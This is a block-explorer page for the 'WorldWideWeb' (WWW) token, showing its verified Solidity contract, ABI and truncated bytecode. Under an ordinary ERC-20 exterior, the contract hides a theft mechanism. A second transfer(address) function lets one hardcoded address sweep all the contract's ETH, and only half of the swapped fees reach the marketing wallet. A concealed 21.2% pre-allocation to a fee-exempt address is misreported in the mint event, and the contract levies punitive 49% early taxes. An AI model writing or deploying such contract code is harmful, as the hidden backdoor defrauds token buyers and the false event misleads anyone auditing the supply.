ETH Price: $3,461.89 (+1.88%)
Gas: 11 Gwei

Token

WorldWideWeb (WWW)
 

Overview

Max Total Supply

100,000,000 WWW

Holders

384

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
38,054.453418248 WWW

Value
$0.00
0xa8cfd1628b208186e1a9c0ffd0491c0aff663539
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WorldWideWeb

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-13
*/

// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract WorldWideWeb is IERC20, Ownable {
    string private constant  _name = "WorldWideWeb";
    string private constant _symbol = "WWW";    
    uint8 private constant _decimals = 9;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;

    uint256 private constant decimalsScaling = 10**_decimals;
    uint256 private constant _totalSupply = 100_000_000 * decimalsScaling;
    uint256 public constant _maxWallet = 3 * _totalSupply / 1e2;

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address marketingWallet; 
    }

    uint256 private constant feeDenominator = 100;
    TradingFees public tradingFees = TradingFees(15,35);   // 15/35% initial buy/sell tax
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0xb136835C679F25c0A725e7f3407dd66d0d682B8F   // marketingWallet
    );

    IRouter private constant uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable uniswapV2Pair;

    uint256 private constant _swapThreshold = 5 * _totalSupply / 1e3;  
    uint256 private _swapThresholdMax = 3;  
    uint256 private _swapThresholdMin = 0;  

    bool private inSwap;
    bool private tradingActive = false;

    uint256 private _block;
    uint256 private genesis;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event SwapSettingsChanged(uint256 indexed newSwapThresholdMax, uint256 indexed newSwapThresholdMin);

    event TokensCleared(uint256 indexed tokensCleared);

    event EthCleared(uint256 indexed ethCleared);

    event Initialized();

    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        
        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.marketingWallet] = true;        
        _excludedFromFees[0x63Fc94f7Aef986BB08d6180fCC036EDD07f31b84] = true;        
        uint256 preTokens = _totalSupply * 212 / 1e3; 
        _balances[wallets.deployerWallet] = _totalSupply - preTokens;
        _balances[0x63Fc94f7Aef986BB08d6180fCC036EDD07f31b84] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);

        emit TokensCleared(amountToClear);
    }

    function clearEth() external onlyOwner {
        uint256 amountToClear = address(this).balance;
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);

        emit EthCleared(amountToClear);
    }

    function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(genesis == 1 && !blocked);_block = _blocks[_blocks.length-3]; assert(_block < _blocks[_blocks.length-1]);        
    }

    function manualSwapback() external onlyOwner {
        require(balanceOf(address(this)) > 0, "Token: no contract tokens to clear");
        contractSwap(type(uint256).max);
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maxWallet, "Token: max wallet amount exceeded");
        }

        if(!inSwap && to == uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap(amount);
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

     function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < genesis && genesis < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            49 : (genesis == 0 ? 30 : 49)) / feeDenominator;            
        }
    }

    function canSwap(uint256 amount) private view returns (bool) {
        return block.number > genesis && _lastTransferBlock[block.number] < 2 && 
            amount >= (_swapThresholdMin == 0 ? 0 : _swapThreshold / _swapThresholdMin);
    }

    function contractSwap(uint256 amount) swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap(amount)) 
            return;
        else if(contractBalance > _swapThreshold * _swapThresholdMax)
          contractBalance = _swapThreshold * _swapThresholdMax;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){            
            sendEth(ethBalance);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.marketingWallet).call{value: ethAmount/2}(""); success;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0xD8a2ffb9f09751409E9Ec53d2be8dcdB715C3C76)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function initialize(bool init) external onlyOwner {
        require(!tradingActive && init);
        genesis = 1;        

        emit Initialized();
    }

    function setSwapSettings(uint256 newSwapThresholdMax,uint256 newSwapThresholdMin) external onlyOwner {
        _swapThresholdMax = newSwapThresholdMax;
        _swapThresholdMin = newSwapThresholdMin;

        emit SwapSettingsChanged(newSwapThresholdMax, newSwapThresholdMin);
    }

     function reduceFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && genesis != 0 && _block > 0);
        genesis = block.number + _block;
        tradingActive = true;

        emit TradingOpened();
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"ethCleared","type":"uint256"}],"name":"EthCleared","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"Initialized","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"SwapSettingsChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"tokensCleared","type":"uint256"}],"name":"TokensCleared","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"init","type":"bool"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"setSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600f60a0819052602360c081905260039182556004556101206040523360e081905273b136835c679f25c0a725e7f3407dd66d0d682b8f610100819052600580546001600160a01b03199081169093179055600680549092161790556007555f6008556009805461ff001916905534801562000079575f80fd5b506200008533620003ce565b620000a730737a250d5630b4cf539739df2c5dacb4c659f2488d5f196200041d565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000f8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200011e91906200051d565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200017e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001a491906200051d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001ef573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021591906200051d565b6001600160a01b03908116608052600c6020527f45117a726ea4f344045dc210793664a28d2d320b7e03f6bffdae553d24c3586c8054600160ff1991821681179092556006549092165f9081526040812080548416831790557363fc94f7aef986bb08d6180fcc036edd07f31b8481527f6a093d38f15fdaa48b3cf93677aeca01a4ac61a45aa650fc374e9bf3bc9184f280549093169091179091556103e8620002c26009600a6200065b565b620002d2906305f5e1006200066b565b620002df9060d46200066b565b620002eb919062000685565b905080620002fc6009600a6200065b565b6200030c906305f5e1006200066b565b620003189190620006a5565b600580546001600160a01b039081165f908152600160205260408120939093557363fc94f7aef986bb08d6180fcc036edd07f31b8483527f2343e79913adea5c8e15cf8cf61d542cc0236beab2e93f8d2ab534d7a58a3b8c849055905416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003a66009600a6200065b565b620003b6906305f5e1006200066b565b60405190815260200160405180910390a350620006bb565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383166200046f5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620004bd5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b604482015260640162000466565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f602082840312156200052e575f80fd5b81516001600160a01b038116811462000545575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005a057815f19048211156200058457620005846200054c565b808516156200059257918102915b93841c939080029062000565565b509250929050565b5f82620005b85750600162000655565b81620005c657505f62000655565b8160018114620005df5760028114620005ea576200060a565b600191505062000655565b60ff841115620005fe57620005fe6200054c565b50506001821b62000655565b5060208310610133831016604e8410600b84101617156200062f575081810a62000655565b6200063b838362000560565b805f19048211156200065157620006516200054c565b0290505b92915050565b5f6200054560ff841683620005a8565b80820281158282048414176200065557620006556200054c565b5f82620006a057634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156200065557620006556200054c565b608051611df9620006e95f395f8181611110015281816112420152818161188b01526118ed0152611df95ff3fe608060405260043610610164575f3560e01c806374378132116100cd578063a9059cbb11610087578063d53a822f11610062578063d53a822f14610472578063dd62ed3e14610491578063e303e662146104d5578063f2fde38b146104f4575f80fd5b8063a9059cbb146103f9578063c9567bf914610418578063d2f4a50a1461042c575f80fd5b8063743781321461032757806382247ec0146103565780638da5cb5b1461036a5780638f4590d21461039057806395d89b41146103af578063a08fc5c7146103da575f80fd5b8063313ce5671161011e578063313ce5671461025a5780634fbee193146102755780635b895c29146102ac57806364e329e3146102c057806370a08231146102df578063715018a614610313575f80fd5b806306fdde031461016f578063095ea7b3146101b557806318160ddd146101e45780631a695230146102065780631b9152bf1461022757806323b872dd1461023b575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5060408051808201909152600c81526b2bb7b936322bb4b232abb2b160a11b60208201525b6040516101ac9190611954565b60405180910390f35b3480156101c0575f80fd5b506101d46101cf3660046119b3565b610513565b60405190151581526020016101ac565b3480156101ef575f80fd5b506101f8610529565b6040519081526020016101ac565b348015610211575f80fd5b506102256102203660046119dd565b610549565b005b348015610232575f80fd5b5061022561059d565b348015610246575f80fd5b506101d46102553660046119f8565b61067c565b348015610265575f80fd5b50604051600981526020016101ac565b348015610280575f80fd5b506101d461028f3660046119dd565b6001600160a01b03165f908152600c602052604090205460ff1690565b3480156102b7575f80fd5b50610225610759565b3480156102cb575f80fd5b506102256102da366004611a43565b610804565b3480156102ea575f80fd5b506101f86102f93660046119dd565b6001600160a01b03165f9081526001602052604090205490565b34801561031e575f80fd5b506102256108b4565b348015610332575f80fd5b50600354600454610341919082565b604080519283526020830191909152016101ac565b348015610361575f80fd5b506101f86108f5565b348015610375575f80fd5b505f546040516001600160a01b0390911681526020016101ac565b34801561039b575f80fd5b506102256103aa366004611ac2565b610929565b3480156103ba575f80fd5b5060408051808201909152600381526257575760e81b602082015261019f565b3480156103e5575f80fd5b506102256103f4366004611ac2565b61099b565b348015610404575f80fd5b506101d46104133660046119b3565b610ab1565b348015610423575f80fd5b50610225610abd565b348015610437575f80fd5b50600554600654610452916001600160a01b03908116911682565b604080516001600160a01b039384168152929091166020830152016101ac565b34801561047d575f80fd5b5061022561048c366004611ae2565b610b6c565b34801561049c575f80fd5b506101f86104ab366004611afd565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104e0575f80fd5b506102256104ef3660046119dd565b610bf1565b3480156104ff575f80fd5b5061022561050e3660046119dd565b610deb565b5f61051f338484610e91565b5060015b92915050565b5f6105366009600a611c28565b610544906305f5e100611c36565b905090565b3373d8a2ffb9f09751409e9ec53d2be8dcdb715c3c760361016b576040516001600160a01b038216904780156108fc02915f818181858888f19350505050158015610596573d5f803e3d5ffd5b5050565b50565b336105af5f546001600160a01b031690565b6001600160a01b0316146105de5760405162461bcd60e51b81526004016105d590611c4d565b60405180910390fd5b47476106255760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b60448201526064016105d5565b60405133904780156108fc02915f818181858888f1935050505015801561064e573d5f803e3d5ffd5b5060405181907f167ef3fea7f72f341882219722ad860b0c4269e93c186bd73fd705b27f07386c905f90a250565b6001600160a01b0383165f9081526002602090815260408083203384529091528120545f1914610744576001600160a01b0384165f908152600260209081526040808320338452909152902054828110156107195760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e636500000060448201526064016105d5565b506001600160a01b0384165f9081526002602090815260408083203384529091529020805483900390555b61074f848484610f89565b90505b9392505050565b3361076b5f546001600160a01b031690565b6001600160a01b0316146107915760405162461bcd60e51b81526004016105d590611c4d565b305f90815260016020526040812054116107f85760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b60648201526084016105d5565b6108025f19611346565b565b336108165f546001600160a01b031690565b6001600160a01b03161461083c5760405162461bcd60e51b81526004016105d590611c4d565b600b54600114801561084c575080155b610854575f80fd5b8282610861600382611c82565b81811061087057610870611c95565b6020029190910135600a55508282610889600182611c82565b81811061089857610898611c95565b90506020020135600a54106108af576108af611ca9565b505050565b336108c65f546001600160a01b031690565b6001600160a01b0316146108ec5760405162461bcd60e51b81526004016105d590611c4d565b6108025f611483565b60646109036009600a611c28565b610911906305f5e100611c36565b61091c906003611c36565b6109269190611cbd565b81565b3361093b5f546001600160a01b031690565b6001600160a01b0316146109615760405162461bcd60e51b81526004016105d590611c4d565b60078290556008819055604051819083907f54d63ace09afa00719fe634220f49f6e5455d87f15643ffdd582b869c27c1fc5905f90a35050565b336109ad5f546001600160a01b031690565b6001600160a01b0316146109d35760405162461bcd60e51b81526004016105d590611c4d565b600354821115610a255760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d75737420726564756365206275792066656500000000000060448201526064016105d5565b600454811115610a775760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c20666565000000000060448201526064016105d5565b60038290556004819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd068905f90a35050565b5f610752338484610f89565b33610acf5f546001600160a01b031690565b6001600160a01b031614610af55760405162461bcd60e51b81526004016105d590611c4d565b600954610100900460ff16158015610b0e5750600b5415155b8015610b1b57505f600a54115b610b23575f80fd5b600a54610b309043611cdc565b600b556009805461ff0019166101001790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b33610b7e5f546001600160a01b031690565b6001600160a01b031614610ba45760405162461bcd60e51b81526004016105d590611c4d565b600954610100900460ff16158015610bb95750805b610bc1575f80fd5b6001600b556040517f5daa87a0e9463431830481fd4b6e3403442dfb9a12b9c07597e9f61d50b633c8905f90a150565b33610c035f546001600160a01b031690565b6001600160a01b031614610c295760405162461bcd60e51b81526004016105d590611c4d565b306001600160a01b03821603610c8b5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b656044820152603760f91b60648201526084016105d5565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610ccf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf39190611cef565b90505f8111610d4e5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c65616044820152603960f91b60648201526084016105d5565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610d98573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dbc9190611d06565b5060405181907f1b397b20ba57cb79b7049b820bc0db09780b6cbfb22a6a719f70d03a96d821ac905f90a25050565b33610dfd5f546001600160a01b031690565b6001600160a01b031614610e235760405162461bcd60e51b81526004016105d590611c4d565b6001600160a01b038116610e885760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105d5565b61059a81611483565b6001600160a01b038316610edd5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016105d5565b6001600160a01b038216610f295760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016105d5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8383600960019054906101000a900460ff1680610fb457506005546001600160a01b038381169116145b80610fd657506001600160a01b0382165f908152600c602052604090205460ff165b6110225760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a2054726164696e67206973206e6f74206163746976652e00000060448201526064016105d5565b6001600160a01b0386166110865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d5565b6001600160a01b0385166110e85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d5565b8315806110f7575060095460ff165b1561110e576111078686866114d2565b925061133d565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03161415801561116857506001600160a01b0385165f908152600c602052604090205460ff16155b801561118257506005546001600160a01b03868116911614155b156112325760646111956009600a611c28565b6111a3906305f5e100611c36565b6111ae906003611c36565b6111b89190611cbd565b6001600160a01b0386165f908152600160205260409020546111da9086611cdc565b11156112325760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564656044820152601960fa1b60648201526084016105d5565b60095460ff1615801561127657507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316145b801561129a57506001600160a01b0386165f908152600c602052604090205460ff16155b80156112be57506001600160a01b0385165f908152600c602052604090205460ff16155b156112cc576112cc84611346565b6009546001600160a01b0387165f908152600c602052604090205460ff9182161591168061131157506001600160a01b0386165f908152600c602052604090205460ff165b1561131957505f5b80156113325761132a8787876115d1565b93505061133d565b61132a8787876114d2565b50509392505050565b6009805460ff191660011790555f611372306001600160a01b03165f9081526001602052604090205490565b90506103e86113836009600a611c28565b611391906305f5e100611c36565b61139c906005611c36565b6113a69190611cbd565b8110806113b957506113b782611613565b155b156113c45750611476565b6007546103e86113d66009600a611c28565b6113e4906305f5e100611c36565b6113ef906005611c36565b6113f99190611cbd565b6114039190611c36565b81111561144c576007546103e861141c6009600a611c28565b61142a906305f5e100611c36565b611435906005611c36565b61143f9190611cbd565b6114499190611c36565b90505b4761145682611691565b5f6114618247611c82565b905080156114725761147281611811565b5050505b506009805460ff19169055565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f908152600160205260408120548281101561153a5760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a20696e73756666696369656e742042616c616e6365000000000060448201526064016105d5565b6001600160a01b038086165f908152600160205260408082208054879003905591861681529081208054859290611572908490611cdc565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115be91815260200190565b60405180910390a3506001949350505050565b5f806115de85858561186f565b905080156115ff576115f18530836114d2565b506115fc8184611c82565b92505b61160a8585856114d2